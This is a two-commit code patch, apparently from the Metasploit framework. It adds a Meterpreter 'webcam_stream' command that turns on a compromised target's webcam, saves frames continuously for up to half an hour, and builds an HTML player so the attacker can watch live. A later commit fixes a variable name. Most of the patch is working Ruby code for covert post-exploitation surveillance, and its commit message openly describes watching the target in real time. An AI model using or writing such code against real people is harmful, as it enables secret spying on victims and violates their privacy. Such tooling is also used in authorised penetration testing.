From 92a0ff109642e4669b0dc20c4ecd9a1b7a245566 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 30 Dec 2013 18:38:13 -0600 Subject: [PATCH 1/2] Add webcam livestream feature for meterpreter [SeeRM #8729] - This meterpreter command allows the attacker to observe the target at real-time by turning their webcam live. There is also a HTML-based player provided, which does not require a plugin or anything, just open it with a browser. The HTML-based player also allows the attacker to put livestream on the web (evil? yeah, kind of.) --- .../command_dispatcher/stdapi/webcam.rb | 141 +++++++++++++++++- 1 file changed, 135 insertions(+), 6 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb index d1526ba1ff..193101792d 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb @@ -24,11 +24,13 @@ class Console::CommandDispatcher::Stdapi::Webcam all = { "webcam_list" => "List webcams", "webcam_snap" => "Take a snapshot from the specified webcam", + "webcam_stream" => "Play a video stream from the specified webcam", "record_mic" => "Record audio from the default microphone for X seconds" } reqs = { "webcam_list" => [ "webcam_list" ], "webcam_snap" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ], + "webcam_stream" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ], "record_mic" => [ "webcam_audio_record" ], } @@ -102,12 +104,15 @@ class Console::CommandDispatcher::Stdapi::Webcam rescue end if wc_list.length > 0 - print_status("Starting...") - client.webcam.webcam_start(index) - data = client.webcam.webcam_get_frame(quality) - print_good("Got frame") - client.webcam.webcam_stop - print_status("Stopped") + begin + print_status("Starting...") + client.webcam.webcam_start(index) + data = client.webcam.webcam_get_frame(quality) + print_good("Got frame") + ensure + client.webcam.webcam_stop + print_status("Stopped") + end if( data ) ::File.open( path, 'wb' ) do |fd| @@ -124,6 +129,130 @@ class Console::CommandDispatcher::Stdapi::Webcam end end + + def cmd_webcam_stream(*args) + print_status("Starting...") + stream_path = Rex::Text.rand_text_alpha(8) + ".jpeg" + player_path = Rex::Text.rand_text_alpha(8) + ".html" + duration = 1800 + quality = 50 + view = true + index = 1 + wc_list = [] + + webcam_snap_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help Banner" ], + "-d" => [ true, "The stream duration in seconds (Default: 1800)" ], # 30 min + "-i" => [ true, "The index of the webcam to use (Default: 1)" ], + "-q" => [ true, "The stream quality (Default: '#{quality}')" ], + "-s" => [ true, "The stream file path (Default: '#{stream_path}')" ], + "-t" => [ true, "The stream player path (Default: #{player_path})"], + "-v" => [ true, "Automatically view the stream (Default: '#{view}')" ] + ) + + webcam_snap_opts.parse( args ) { | opt, idx, val | + case opt + when "-h" + print_line( "Usage: webcam_stream [options]\n" ) + print_line( "Stream from the specified webcam." ) + print_line( webcam_snap_opts.usage ) + return + when "-d" + duration = val.to_i + when "-i" + index = val.to_i + when "-q" + quality = val.to_i + when "-s" + stream_path = val + when "-t" + player_path = val + when "-v" + view = false if ( val =~ /^(f|n|0)/i ) + end + } + + print_status("Preparing player...") + html = %Q| + + + +Metasploit webcam_stream - #{client.sock.peerhost} + + + + +
+Target IP  : #{client.sock.peerhost}
+Start time : #{Time.now}
+Status     : 
+
+
+ +

+www.metasploit.com + + + | + + ::File.open(player_path, 'wb') do |f| + f.write(html) + end + if view + print_status("Opening player at: #{player_path}") + Rex::Compat.open_file(player_path) + else + print_status("Please open the player manually with a browser: #{interface_path}") + end + + print_status("Streaming...") + begin + client.webcam.webcam_start(index) + ::Timeout.timeout(duration) { + while client do + data = client.webcam.webcam_get_frame(quality) + if data + ::File.open(stream_path, 'wb') do |f| + f.write(data) + end + data = nil + end + end + } + rescue ::Timeout::Error + ensure + client.webcam.webcam_stop + end + + print_status("Stopped") + end + def cmd_record_mic(*args) path = Rex::Text.rand_text_alpha(8) + ".wav" play = true From e6823c39c252f8a7722eb07c9dade49fb5767753 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 2 Jan 2014 00:50:32 -0600 Subject: [PATCH 2/2] Incorrect variable used --- .../meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb index 193101792d..d9150d06b2 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb @@ -228,7 +228,7 @@ Status : print_status("Opening player at: #{player_path}") Rex::Compat.open_file(player_path) else - print_status("Please open the player manually with a browser: #{interface_path}") + print_status("Please open the player manually with a browser: #{player_path}") end print_status("Streaming...")